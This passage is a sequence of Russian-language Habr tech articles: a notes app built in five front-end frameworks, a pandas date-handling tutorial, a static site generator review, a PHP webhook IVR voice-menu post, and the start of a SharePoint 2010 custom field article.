width: 100%;
height: 56px;
background-color: #4e78b8;
color: white;
h1 {
margin-left: 6px;
}
}
main {
margin: 10px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
grid-gap: 1rem;
align-items: center;
.note {
display: flex;
flex-direction: column;
padding: 10px;
background-color: #a15fbb;
border-radius: 5px;
form {
display: flex;
flex-direction: column;
textarea {
resize: none;
}
}
}
}
}
```
Далее я компилирую код при помощи `sass scss/styles.scss:css/styles.css`, после чего мы готовы писать JavaScript. По сути, нам достаточно добавить в DOM новый div с парой дочерних элементов для отправки формы и сохранение в локальное хранилище. Вот что у меня в результате получилось:
```
let notes = [];
$(document).ready(function () {
if (localStorage.getItem("notes")) notes = JSON.parse(localStorage.getItem("notes"));
setNotes();
});
$("#note-submit").click(function (e) {
let noteTitle = $("#note-title").val();
let noteDesc = $("#note-body").val();
let note = {
title: noteTitle,
desc: noteDesc
}
notes.push(note);
console.log(notes);
localStorage.setItem("notes", JSON.stringify(notes));
setNotes();
});
function setNotes() {
notes.forEach((note) => {
$("main").prepend(`
#### ${note.title}
${note.desc}
`);
});
}
```
Вероятно, это не самый лучший код, но мне он показался логичным, к тому же я решил, что для этого проекта и не нужен идеальный код. Как бы то ни было, это было гораздо проще, чем я ожидал из предыдущего опыта, и мне это действительно понравилось. Вероятно, в других приложениях будет отличаться порядок заметок, потому что я не мог заморачиваться тем, чтобы они всегда добавлялись до формы, но после других заметок.
### Angular
Забавен контраст между тем, сколько можно сделать с помощью Angular, и тем, что делаем мы. Вопреки впечатлению, которое могло сложиться по предыдущим постам, мне очень нравится Angular, просто я недолюбливают его недостаток модульности по сравнению с чем-то наподобие React. Впрочем, ладно, давайте сгенерируем проект:
```
$ ng new angular
```
И это буквально всё, что нужно для начала. Разве CLI Angular не великолепен? Для базовой структуры приложения я напишу, по сути, тот же код:
```
Notes App
=========
#### Note Title
Note Body
```
Это может показаться вам спорным, но я собираюсь выполнять всю логику приложения в самом компоненте приложения, без дочерних компонентов. В целом это немного упростит работу, хотя на самом деле это необязательно. Давайте используем практически те же стили, что и раньше:
```
.container {
width: 100%;
height: auto;
margin: 0;
display: flex;
flex-direction: column;
header {
display: flex;
align-items: center;
width: 100%;
height: 56px;
background-color: #4e78b8;
color: white;
h1 {
margin-left: 6px;
}
}
main {
margin: 10px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
grid-gap: 1rem;
align-items: center;
.note {
display: flex;
flex-direction: column;
padding: 10px;
background-color: #a15fbb;
border-radius: 5px;
form {
display: flex;
flex-direction: column;
textarea {
resize: none;
}
}
}
}
}
```
Теперь мы просто можем написать код, похожий на тот, что писали раньше:
```
import { Component } from '@angular/core';
type Note = {
title: string;
desc: string;
}
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.scss']
})
export class AppComponent {
notes: Array = [];
title!: string;
body?: string;
constructor() {
const data = localStorage.getItem("notes");
if (data) this.notes = JSON.parse(data);
}
submitForm() {
let note: Note = {
title: this.title,
desc: this.body || ""
}
this.notes.push(note);
localStorage.setItem("notes", JSON.stringify(this.notes));
}
}
```
Сделав это, мы можем вернуться к шаблону и исправить логику заметок:
```
Notes App
=========
#### {{note.title}}
{{note.desc}}
```
Вот и всё, ребята!
### React
Думаю, здесь всё будет сложнее необходимого из-за природы React. React спроектирован так, чтобы быть более модульным и лёгким, чем другие фреймворки, но в каком-то смысле из-за своей структуры для мелких приложений он сложнее. Я начал генерацию своего react-приложения с собственного шаблона `sammy-libraries`:
```
$ yarn create react-app react-app --template sammy-libraries
```
У меня время от времени возникает баг: node sass (который я использую обычно, потому что dart sass, по моему опыту, имеет более медленное время компиляции для React) отказывается компилировать мой код sass, поэтому я просто удалил node\_modules и yarn.lock, а затем снова запустил `yarn`, и всё заработало идеально. Вот что я сделал: я начал с создания `index.scss`, аналогичного `styles.scss` из первого приложения, а затем в своём компоненте App воссоздал базовую структуру приложения:
```
import React, { useEffect, useState } from "react";
import NotesList from "components/NotesList";
import { NoteType } from "components/Note";
//import "scss/App.scss";
function App() {
const [notesList, setNotesList] = useState([]);
const [noteTitle, setNoteTitle] = useState("");
const [noteDesc, setNoteDesc] = useState("");
useEffect(() => {
const data = localStorage.getItem("notes");
if (data) {
setNotesList(JSON.parse(data));
}
}, []);
useEffect(() => {
localStorage.setItem("notes", JSON.stringify(notesList));
}, [notesList])
const addNote = (event: React.FormEvent) => {
let note: NoteType = {
title: noteTitle,
desc: noteDesc,
};
setNotesList([...notesList, note]);
event.preventDefault();
};
const changeTitle = (event: React.ChangeEvent) => {
setNoteTitle(event.currentTarget.value);
};
const changeDesc = (event: React.ChangeEvent) => {
setNoteDesc(event.currentTarget.value);
};
return (
Notes App
=========
);
}
export default App;
```
Пока проект ничего не делает, поэтому давайте добавим другие компоненты. Я создал три компонента в отдельных папках компонентов и заполнил их соответствующим образом.
`NotesList.tsx`:
```
import React from "react";
import AddNote from "components/AddNote";
import Note, { NoteType } from "components/Note";
type NotesListProps = {
notes: NoteType[];
addNote: (event: React.FormEvent) => void;
changeTitle: (event: React.ChangeEvent) => void;
changeDesc: (event: React.ChangeEvent) => void;
};
function NotesList({ notes, addNote, changeTitle, changeDesc }: NotesListProps) {
return (
{notes.map((note) => {
return (
);
})}
);
}
export default NotesList;
```
`Note.tsx`:
```
import React from "react";
export type NoteType = {
title: string;
desc: string;
}
interface NoteProps {
note: NoteType;
}
function Note(props: NoteProps) {
return (
#### {props.note.title}
{props.note.desc}
);
}
export default Note;
```
И `AddNote.tsx`:
```
import React from "react";
interface AddNoteProps {
changeTitle: (event: React.ChangeEvent) => void;
changeDesc: (event: React.ChangeEvent) => void;
addNote: (event: React.FormEvent) => void;
}
function AddNote(props: AddNoteProps) {
return(
);
}
export default AddNote;
```
Не самое сложное из того, что я делал, но определённо кажется более сложным, чем работа с jQuery или Angular, по крайней мере, мне. Я очень люблю React и считаю его любимым фреймворком, просто не знаю, что любить в нём, работая над подобными проектами. Если бы мне пришлось выбирать, то я бы сказать, что самый чистый из всех — это Angular, а JQuery кажется самым логичным (по крайней мере, для этого проекта). React — самый неуклюжий, с ним удобно работать, но он не кажется особо подходящим.
### Vue
С этим фреймворком я работал один раз, и кому-то это может показаться оскорблением, но я действительно не видел смысла в возне с ним. Я могу использовать и Angular, и React. Мне кажется, что они покрывают почти все мои потребности (а оставшееся решают библиотеки), поэтому Vue никогда не казался мне полезным. Что ж, давайте создадим свой проект на Vue.
```
$ vue ui
```
По сути, я использовал всё по умолчанию, но с TypeScript и SCSS (в основном с dart sass, чтобы не ломать зависимости), потому что мне нравится применять их в своих проектах. Единственная реальная причина того, что я не использовал TypeScript в первом проекте, заключалась в том, что мне не хотелось возиться с обеспечением совместной работы jQuery и TS, но если вам интересно, то это возможно.
Как я подошёл к созданию приложения? Сначала я удалил почти всё, что было сгенерировано автоматически, и заменил код App вот на это:
```
Notes App
=========
import { Component, Vue } from "vue-property-decorator";
import Note from "./components/Note.vue";
type NoteType = {
title: string;
body: string;
};
@Component({
components: {
Note,
},
})
export default class App extends Vue {
notes: Array<NoteType> = [];
title!: string;
body?: string;
constructor() {
super();
const data = localStorage.getItem("notes");
if (data) this.notes = JSON.parse(data);
}
submitForm(): void {
let note: NoteType = {
title: this.title,
body: this.body || "",
};
this.notes.push(note);
localStorage.setItem("notes", JSON.stringify(this.notes));
}
}
body {
height: 100%;
width: 100%;
margin: 0;
}
.container {
width: 100%;
height: auto;
margin: 0;
display: flex;
flex-direction: column;
header {
display: flex;
align-items: center;
width: 100%;
height: 56px;
background-color: #4e78b8;
color: white;
h1 {
margin-left: 6px;
}
}
main {
margin: 10px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
grid-gap: 1rem;
align-items: center;
.note {
display: flex;
flex-direction: column;
padding: 10px;
background-color: #a15fbb;
border-radius: 5px;
form {
display: flex;
flex-direction: column;
textarea {
resize: none;
}
}
}
}
}
```
А компонент Note выглядел вот так:
```
#### {{ this.title }}
{{ this.body }}
import { Component, Prop, Vue } from "vue-property-decorator";
@Component({
components: {},
})
export default class App extends Vue {
@Prop() title!: string;
@Prop() body?: string;
}
```
И на этом всё.
### Svelte
Я хотел изучить этот фреймворк, но и не думал касаться его, пока не решил написать эту статью. По сути, я начинал, не зная совершенно ничего, за исключением того, что Svelte очень любят веб-разработчики, но после этого опыта я, наверно, продолжу создавать проекты со Svelte. Вероятно, пока я в нём очень плох, но со временем ситуация может измениться.
Потратив десять минут на поиск несуществующего CLI для Svelte yarn create-\*, я решил настроить проект с бойлерплейтом фреймворка. Я преобразовал проект в TypeScript, потому что я фанат языков со строгой типизацией, а потом приступил к работе. Занявшись стилями, я пошёл на принцип и отказался от SCSS. Под этим я подразумеваю, что не мог возиться с настройкой SCSS, какой бы лёгкой она ни была, поэтому просто скомпилировал его вручную. Вот с таким компонентом я начал работу:
```
import Note from "./components/Note.svelte";
type NoteType = {
title: string;
body: string;
};
let notes: Array<NoteType> = [];
const data = localStorage.getItem("notes");
if (data) notes = JSON.parse(data);
let title: string = "";
let body: string = "";
function onSubmit() {
let note: NoteType = {
title: title,
body: body
};
notes.push(note);
localStorage.setItem("notes", JSON.stringify(notes));
}
Notes App
=========
{#each notes as note}
{/each}
body {
height: 100%;
width: 100%;
margin: 0;
}
.container {
width: 100%;
height: auto;
margin: 0;
display: flex;
flex-direction: column;
}
.container header {
display: flex;
align-items: center;
width: 100%;
height: 56px;
background-color: #4e78b8;
color: white;
}
.container header h1 {
margin-left: 6px;
}
.container main {
margin: 10px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
grid-gap: 1rem;
align-items: center;
}
.container main .note {
display: flex;
flex-direction: column;
padding: 10px;
background-color: #a15fbb;
border-radius: 5px;
}
.container main .note form {
display: flex;
flex-direction: column;
}
.container main .note form textarea {
resize: none;
}
```
А вот компонент Note:
```
export var title: string;
export var body: string;
#### {title}
{body}
```
Я обнаружил проблему, решения которой не знаю, и на данном этапе не хочу её решать: стили работают, только если вставить их в `bundle.css`, который затем сбрасывается при обновлении кода и ресурсов. Это не будет проблемой в полностью собранном приложении, но очень раздражает при тестировании. Не думаю, что буду решать эту проблему в ближайшее время, но, вероятно, со временем устраню её.
Заключение
----------
Выше я говорил, что буду пробовать создавать при помощи Svelte и другие приложения, но не знаю, насколько решительно я готов выполнять это обещание. Хотя мне понравились многие аспекты Svelte, в нём слишком много препятствий, чтобы использовать его чаще. Учитывая проект, над которым я работал, React, по моему мнению, подвергся несправедливой критике. Angular по-прежнему кажется мне самым чистым, Vue — самым интересным, а jQuery — самым лучшим, что меня сильно удивило. Думаю, если бы мне пришлось выбирать фреймворк для будущих проектов, то это определённо бы зависело от проекта, но сам я вполне могу представить, что использую все пять, даже с учётом сложностей Svelte. Тем не менее, вероятно, основную свою работу я буду выполнять в Angular и React, а jQuery и Vue будут следующими по приоритету. Наверно, я дам Svelte ещё один шанс, но не думаю, что буду создавать в нём особо много проектов, вне зависимости от того, была ли справедлива критика в этом проекте. В любом случае, мне кажется, что любой из этих фреймворков станет отличным выбором для множества способов применения. Теперь я вижу, почему людям нравится Vue, но не могу сказать, что моё мнение очень сильно изменилось.
Код
---
Весь код выложен на [github](https://github.com/jackmaster110/five-apps)
— — — —
Дата-центр ITSOFT – размещение и аренда серверов и стоек в двух ЦОДах в Москве; colocation GPU-ферм и ASIC-майнеров, аренда GPU-серверов. Лицензии связи, SSL-сертификаты. Администрирование серверов и поддержка сайтов. UPTIME за последние годы составляет 100%. | https://habr.com/ru/post/575416/ | null | ru | null |
# Как работать с датами в pandas
Библиотека Pandas — это весьма эффективный инструмент для обработки данных, представляющих собой временные ряды. На самом деле, эта библиотека была создана Уэсом МакКинни для работы с финансовыми данными, которые состоят, главным образом, из временных рядов.
При работе с временными рядами много сил уходит на выполнение различных операций с датой и временем. Этот материал посвящён ответам на четыре распространённых вопроса из данной сферы.
Возможно, вы уже сталкивались с этими вопросами. Ответить на все из них, кроме последнего, можно сравнительно просто. А вот ответ на последний, довольно-таки хитрый вопрос, представляет собой последовательность из нескольких действий.
Начнём с создания учебного датафрейма (объекта `DataFrame`), с которым будем экспериментировать:
```
df = pd.DataFrame({
"booking_id": [1001, 1002, 1003, 1004, 1005],
"property" : ["A", "A", "B", "B", "C"],
"created_at": ["2022-03-01", "2022-02-10", "2022-04-12",
"2022-04-11", "2022-06-05"],
"checkin_date": ["2022-06-01", "2022-06-10", "2022-06-02",
"2022-06-20", "2022-08-10"],
"checkout_date": ["2022-06-06", "2022-06-15",
"2022-06-06","2022-06-28", "2022-08-16"],
"amount": [5400, 5600, 4800, 9000, 6500]
})
# изменение типа данных
date_cols = ["created_at","checkin_date","checkout_date"]
df[date_cols] = df[date_cols].astype("datetime64[ns]")
# вывод объекта DataFrame
df
```
Датафрейм, с которым мы будем работатьДля того чтобы у нас была бы возможность пользоваться функциями pandas, предназначенными для работы с датой и временем, даты в датафрейме должны быть представлены значениями подходящего типа данных. Именно по этой причине мы поменяли тип данных соответствующих столбцов на `datetime64[ns]`.
1. Как извлечь из даты информацию о месяце и годе?
--------------------------------------------------
Дата содержит различные фрагменты информации, такие как год, день недели, месяц и так далее. Все эти фрагменты можно извлечь из даты с использованием методов, к которым обращаются через аксессор `dt`.
Например, месяц можно получить с помощью метода `month`. А как получить сведения о годе и месяце в формате `ГГГГ-ММ`? Ответ на этот вопрос уже не так очевиден. Извлечь эти сведения из даты можно, прибегнув к методу `to_period`:
```
# создание столбца year_month
df["year_month"] = df["created_at"].dt.to_period("M")
# вывод объекта DataFrame
df
```
Столбец year\_month в датафрейме2. Как прибавить к дате временной интервал?
-------------------------------------------
Прибавление к датам временных интервалов или вычитание их из дат — это одна из операций, часто встречающихся при работе с датами. Выполнить её можно, воспользовавшись функцией `DateOffset`.
Добавим 1 день к дате выселения (например — из некоего объекта недвижимости) (`checkout_date`) для записи о бронировании с идентификатором `1001`:
```
df.loc[df["booking_id"]==1001, "checkout_date"] = \
df.loc[df["booking_id"]==1001, "checkout_date"] + \
pd.DateOffset(days=1)
# проверка результата
print(df.loc[df["booking_id"]==1001, "checkout_date"])
# вывод
0 2022-06-07
Name: checkout_date, dtype: datetime64[ns]
```
3. Как найти интервал в днях между двумя датами?
------------------------------------------------
Интервал между двумя датами можно найти, вычтя одну из другой. Результатом этой операции будет объект `Timedelta`, а это не совсем то, что нам нужно:
```
df["checkout_date"][0] - df["checkin_date"][0]
# вывод
Timedelta('6 days 00:00:00')
```
Получить разницу между датами в днях, в виде целого числа, можно, воспользовавшись атрибутом `days`. Создадим столбец, который выводит разницу в днях между датой вселения (`checkin_date`) и датой создания бронирования (`created_at`):
```
# разница, выраженная в днях
df["days_to_checkin"] = \
(df["checkin_date"] - df["created_at"]).dt.days
# вывод объекта DataFrame
df
```
Столбец days\_to\_checkin в датафрейме4. Как сформировать последовательность дат между начальной и конечной датами?
-----------------------------------------------------------------------------
Предположим, нам нужен календарь, который показывает дни, в которые объект недвижимости забронирован. Сейчас в первой строке датафрейма есть запись о том, что объект недвижимости `A` забронирован с `2022–06–01` по `2022–06–07`. Получается, что объект `A` забронирован на даты `2022–06–01`, `2022–06–02`, `2022–06–03`, `2022–06–04`, `2022–06–05`, `2022–06–06` (если предположить, что постоялец выселяется в 10 утра `2022–06–07`).
Такой календарь можно создать, найдя даты между датами вселения и выселения и внеся их в объект `DataFrame`.
Для начала создадим датафрейм `calendar`, содержащий столбцы `property`, `checkin_date` и `checkout_date`:
```
# создание объекта DataFrame calendar
calendar = df[["property","checkin_date","checkout_date"]]
```
Функция `date_range` даёт нам даты, находящиеся между начальной и конечной датами. Вот что получится для первой записи о бронировании:
```
pd.date_range(calendar["checkin_date"][0], calendar["checkout_date"][0])
# вывод
DatetimeIndex(['2022-06-01', '2022-06-02', '2022-06-03',
'2022-06-04', '2022-06-05', '2022-06-06',
'2022-06-07'],
dtype='datetime64[ns]', freq='D')
```
Тут есть одна проблема: нам не нужно, чтобы дата выселения (`checkout_date`) была бы показана как дата, когда объект недвижимости забронирован. Поэтому мы, прежде чем находить диапазон дат, вычтем 1 из даты выселения.
Для того чтобы сделать это для всех строк, нужно воспользоваться функцией `apply`. Мы, кроме того, конвертируем вывод функции `date_range` в список, воспользовавшись конструктором `list`:
```
# создание столбца booked_days
calendar.loc[:, "booked_days"] = calendar.apply(
lambda x: list(
pd.date_range(
x.checkin_date,
x.checkout_date - pd.DateOffset(days=1)
).date
),
axis = 1
)
# вывод объекта DataFrame
calendar
```
Столбец booked\_days в датафреймеДалее — нам нужно заполнить датафрейм, развернув даты из столбца `booked_days`. В этом нам поможет функция `explode`:
```
# функция explode
calendar = calendar.explode(
column="booked_days", ignore_index=True
)[["property","booked_days"]]
# вывод первых 5 строк
calendar.head()
```
Первые 5 строк календаряТеперь у нас имеется календарь дней, в которые объект недвижимости забронирован.
Итоги
-----
Мы нашли ответы на 4 вопроса, решили 4 задачи, с которыми вы, скорее всего, столкнётесь, работая с временными рядами, содержащими даты. Надеемся, вам пригодится то, о чём вы сегодня узнали.
О, а приходите к нам работать? 🤗 💰Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/677068/ | null | ru | null |
# 10 лучших генераторов статичных сайтов (Часть 1)
В последнее время в сфере веб-разработки мы заметили сильное смещение акцентов в пользу статичных сайтов. Такие сайты проще в обслуживании (никаких баз данных, никаких серверных сценариев) и более безопасные в целом, учитывая, что единственная вещь, которая передается на устройства пользователей – это файлы HTML, CSS и Javascript. Чтобы сделать некоторые типы сайтов, вроде блогов и сайтов с документацией, статичными, просто написать код в HTML-файлах довольно сложно. Также непросто поддерживать сайты с массивным контентом, особенно если нужно изменить некоторые незначительные детали (например, дизайн).
Именно в таком случае на помощь приходят генераторы статичных сайтов. Такие генераторы в основном конвертируют (или компилируют) пачку различных исходных файлов в один сайт. Это означает, что контент можно хранить отдельно от кода макета, а содержимое сайта, такое как изображения, можно хранить вообще в другом месте. Существует множество генераторов статичных сайтов, возможно даже сотни. Поэтому вот список из 10 лучших генераторов статичных сайтов и их обзор.
#### [1. Jekyll](http://jekyllrb.com/)
В двух словах: Король генераторов статичных файлов. Jekyll – это самый широко используемый генератор, включающий превосходную документацию, огромное сообщество и отличную поддержку. Даже GitHub предлагает встроенную поддержку Jekyll в сервисе GitHub Pages. Jekyll может похвастаться поддержкой блогов. Создавать статичные блоги на Jekyll действительно просто. Для этого требуются только базовые знания веб-разработки. Он правда прекрасен, потому что его легко настраивать даже новичкам, при этом он обладает действительно мощными характеристиками для тех, кто знает, как их использовать.
Jekyll позволяет создавать и использовать различные плагины, тэги, и даже делать свои собственные конвертеры для любого языка разметки, который вы хотите использовать в Jekyll. Стандартный язык разметки Jekyll, как и в большинстве остальных генераторов – Markdown. Jekyll включает плагины для компилирования Less, Stylus, генерирования облака тегов, пользовательских страниц для блогов и многого другого.
Jekyll основан на движке Liquid Template от Shopify. Он работает полностью на Ruby, поэтому его легко устанавливать вместе с взаимозависимостями, используя rvm или с помощью упаковщика. Jekyll также включает опции миграции, если вы хотите перенести что-то с WordPress, Blogger или любого другого сайта блогов. Он без сомнений является первым из генераторов сайтов с точки зрения количества пользователей. И он находится на стадии активной разработки (последнее изменение для его репозитория GitHub вышло за день до публикации этой статьи).
Чтобы установить Jekyll, просто введите эту команду в Ruby:
```
gem install jekyll
```
#### [2. Pelican](http://blog.getpelican.com/)
Pelican – это генератор статичных сайтов на Python. Он отличается размещением мультиязычного контента, выделением кода (синтаксиса), а также простым генерированием RSS и Atom Feeds. Pelican включает неплохой набор плагинов, которые находятся в центральном [репозитории](https://github.com/getpelican/pelican-plugins) GitHub. Он поддерживает три формата документов по умолчанию: Markdown, reStructuredText и Ascii Doc.
Pelican довольно уникален, поскольку он создан на Python. Он поддерживает мощный движок Jinja Template Engine, основанный на питоне, что позволяет легко создавать красивые темы и шаблоны для Pelican. С точки зрения поддержки миграции, Pelican предлагает поддержку WordPress и Tumblr. Вместо стандартных YAML-файлов конфигурации, в Pelican для конфигурирования и настройки используется файл .py под названием pelicanconf.py.
Самый простой способ установить пеликан – с помощью pip:
```
pip install pelican
```
#### [3. Middleman](https://middlemanapp.com/)
Middleman – это генератор статичных сайтов на Ruby, который придерживается ориентации на простоту в построении статичных сайтов. Он обладает мощными функциями по обслуживанию статичных блоков, например, простое генерирование тегов, быстрые команды для составления списков категорированных статей и разбивка на страницы. Middleman не включает поддержку миграции, поэтому, если вы хотите сделать существующий блог статичным, Middleman вряд ли вам подойдет.
Middleman обеспечивает поддержку большинства современных инструментов веб-разработки, таких как HAML, Coffeescript, Sass и прочих. Стандартный движок для шаблонов – eRb, но он позволяет переключаться на стандартный движок шаблонов по вашему усмотрению. Все движки шаблонов на базе Tilt (полный список представлен [здесь](http://github.com/rtomayko/tilt/)) работают на Middleman. Он изначально поддерживает 2 формата конфигураций – YAML и JSON. Титульная страница вашего контента также должна быть YAML или JSON, в зависимости от используемого формата конфигураций.
Установить Middleman с помощью Ruby можно следующим образом:
```
gem install middleman
```
#### [4. Metalsmith](http://www.metalsmith.io/)
Metalsmith гордится тем, что он является генератором статичных сайтов на основе плагинов. Это означает, что вся логика Metalsmith осуществляется плагинами. Какая бы функция вам ни была нужна, просто добавьте нужный плагин. Огромное количество предлагаемых в Metalsmith плагинов способно обставить любого конкурента (наверное, кроме Jekyll и Docpad). Это означает, что Metalsmith можно использовать как нечто большее, чем просто генератор статичных сайтов.
Другими словами «Так как все состоит из плагинов, библиотека на самом деле представляет собой просто абстракцию для управления директорией файлов». В результате это дает то, что вы легко используете Metalsmith как инструмент для работы с проектом, генератор электронных книг, инструмент для построения технической документации и др. (это всего несколько примеров, продемонстрированных на сайте Metalsmith).
Metalsmith основан на Node.js, и его можно установить с помощью менеджера пакета узлов, используя следующую команду:
```
$ npm install metalsmith
```
#### [5. Harp](http://harpjs.com/)
Harp включает встроенную предварительную обработку для Jade, Markdown, LESS, Sass, Coffeescript, EjS и Stylus без каких-либо дополнительных настроек. Он также позволяет использовать макеты / частичные таблицы форм с Jade и EjS, для чего в других генераторах статичных сайтов требуется специальный плагин.
Harp построен на Node.Js и может работать плечом к плечу с Harp Platform, что позволяет создавать веб-страницы из папки на Dropbox. Harp также может компилировать страницы для использования на страницах GitHub, а также PhoneGap и Heroku.
Чтобы установить Harp, используйте npm и запустите следующую команду:
```
sudo npm install -g harp
```
[часть 2](http://megamozg.ru/company/paysto/blog/14158/)
**Полезные решения Paysto для читателей Мегамозг:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/289496/ | null | ru | null |
# Голосовой секретарь на вебхуках
Один из последних трендов — онлайн чат-боты. Но, что делать с теми клиентами, которые находятся оффлайн? Большой процент людей предпочитает звонить по телефону. Для них нужен или большой штат операторов, или решение по автоматизации работы с голосом. Предлагаем решение для уменьшения работы и затрат (и даже почти не нагрузит вашего программиста).
Как быстро и легко программировать любое голосовое меню, автоинформатор, робота-секретаря с привязкой к своей базе клиентов?
Спойлер: Все реализовано на webhooks и приведен пример на PHP.
Обсуждаем под катом.
Что и зачем?
------------
Например, у вас служба доставки либо интернет-магазин со своей службой логистики. Часть клиентов звонит чтобы узнать, как дела с их посылкой/товаром и это можно легко автоматизировать. Аналогично — гео-локация такси, сбор данных со счетчиков, вообще любая индивидуальная онлайн информация, которую вы можете дать клиенту и не тратить на “справку” время живых операторов.
Автоматизировать это очень просто, ниже опишем пример. И, ах, все это можно сделать абсолютно бесплатно.
Почему не свой asterisk?
------------------------
Конечно, все можно сделать и на Asterisk, но тут кроме разработчика потребуется и администратор, причем со знаниями в части безопасности голосовых сетей (так как их особенно любят взламывать).
Рассматриваем самую простую реализацию решения поставленной задачи — на вебхуках.
Список методов
--------------
Для работы нам понадобится всего 2 новых метода, но каждый из них дает много возможностей, а главное — неограниченные циклы. Благодаря циклам можно получить голосовое меню любой глубины и информатор на любую тему.
### Основные методы:
* NOTIFY\_START — начало входящего звонка в АТС
* NOTIFY\_IVR — ответ абонента на заданное действие
Подробное описание методов для копипаста доступно [в описании API](https://zadarma.com/ru/support/api/#webhook).
Для запросов NOTIFY\_START и NOTIFY\_IVR можно «на лету» изменять сценарий работы по текущему звонку, отправив в ответ один из следующих вариантов:
По факту, клиент звонит и слушает приветствие, потом донабирает определенный номер (например, номер заказа), мы отправляем уведомление с цифрами которые он набрал, скрипт абонента проверяет по базе и отправляет ответ на уведомление к нам. В ответе, может содержаться id голосового файла или вариант стандартного голосового сообщения.
У нас есть стандартная система воспроизведения чисел, поэтому не нужно записывать предварительное голосовое сообщение, то есть из базы берется нужное уведомление и оно воспроизводится роботом как число. Либо же можете создать до 100 вариантов шаблонных голосовых уведомлений и отправлять их в ответ на запрос клиента (Ваш товар находится на складе, Вы можете получить ваш товар с 9 утра до 10 вечера ежедневно кроме воскресенья, Ваша посылка находится в пункте выдачи — метро Белорусская).
### Минимум для реализации
Чтобы секретарь смог ответить, нужен как минимум номер телефона и АТС. Также стоит заранее загрузить либо автоматически начитать ответы секретаря.
### Настраиваем
1. [Бесплатная АТС](https://zadarma.com/ru/services/pbx/) для нашей задачи настраивается в три клика (выбираете нужное количество сотрудников, голосовое меню можно настроить позже).
2. Телефонные [номера](https://zadarma.com/ru/tariffs/numbers/) для АТС можно подключить в любом крупном городе РФ либо в 90 странах мира. Номер включается мгновенно после проверки документов (если нужны документы для этого региона). Также можно бесплатно подключить один свой номер.
3. Для начитки голосовых приветствий нужно зайти в раздел “Входящие звонки и голосовое меню” и выбрать вариант, который больше подойдет. Можно либо загрузить свои файлы, либо просто напечатать текст и робот его начитает автоматически. В начитке доступно 16 языков и несколько голосов для каждого языка (для английского языка 14 голосов). В личном кабинете можно сохранить до 100 голосовых приветствий.
### Пример на PHP
Чтобы показать разные возможности мы создали 4 примера работы с IVR на PHP.
1. Система диктует 3 последних цифры из CallerID (пример работы с данными о номере и произнесение цифр)
2. Пользователь вводит по DTMF дату своего рождения и система говорит сколько дней до его ДР. (Работы с DTMF и произнесение цифр)
3. Бесконечное многоуровневое меню: пользователь может нажимать цифры и попадать в следующее или прошлое меню (пример как простым циклом можно делать любое количество голосовых меню).
4. Пример авторизации для получения баланса (полезно для многих примеров из жизни).
Первые три примера доступны на [Github](https://github.com/zadarma/user-api-v1/blob/master/examples/webhook.php). В примере прописаны все необходимые элементы, нужно подставить только файлы с начиткой (которые предварительно загрузить или начитать в АТС).
**Задача 4**: пользователю произносится голосовое приветствие и просят ввести свой идентификационный номер, после ввода номера система произносит баланс, прощается, используя фразу из списка популярных, и завершает звонок.
Приводим пример кода под описанную задачу.
**Код на PHP**:
```
$request = new Request();
$notify = self::getEvent([AbstractNotify::EVENT_START, AbstractNotify::EVENT_IVR]);
if (!$notify) {
return;
}
switch ($notify->event){
case AbstractNotify::EVENT_START:
$request
->setIvrPlay(self::INFO_FILE_ID)
->setWaitDtmf(TIMEOUT , ATTEMPTS, MAXDIGITS, DTMF_NAME, DEFAULT_BEHAVIOUR);
break;
case AbstractNotify::EVENT_IVR:
if (!empty($notify->wait_dtmf->digits)) {
$balance = getBalance($notify->wait_dtmf->digits);
$request->setIvrSayNumber($balance, 'en');
} elseif (!empty($notify->ivr_saynumber)) {
$request->setIvrSayPopular(POPULAR_PHRASE_NUM, 'en');
} else {
$request->setHangup();
}
}
$request->send();
```
Исследуем необходимость дальнейшего расширения функционала методов и собираем обратную связь, пожелания в комментариях приветствуются. Кроме этого доступно множество других методов вебхуков и api. Полный список есть [на сайте](https://zadarma.com/ru/support/api/). | https://habr.com/ru/post/448178/ | null | ru | null |
# Структурируем вложения к элементам списка в Sharepoint 2010
Доброго всем дня!
В Sharepoint 2010 присутствует множество стандартных типов столбцов сайта, но как минимум два важных, на мой взгляд, отсутствуют. Возможно, разработчики оставили «поле» для расширений от сторонних компаний. Но мы «сами с усами» =)
Отсутствующими «из коробки» являются столбцы типа время и типа файл. Для столбца типа дата можно выбрать либо дату со временем, либо одну дату. А вот только время в столбце хранить нельзя. Реализация элемента управления для редактирования двух выпадающих списков с возможными значениями для часов и минут не представляется сильно интересной задачей. Поэтому под катом реализация поля типа файл — **SPFileField**, которую можно использовать и как краткую инструкцию по созданию собственных типов столбцов для Sharepoint 2010. Решение позволяет добавлять к спискам Sharepoint столбцы нового типа и загружать в них файлы через автоматически генерируемые формы. При этом файлы и информация о них «раскладываются» по разным полям:
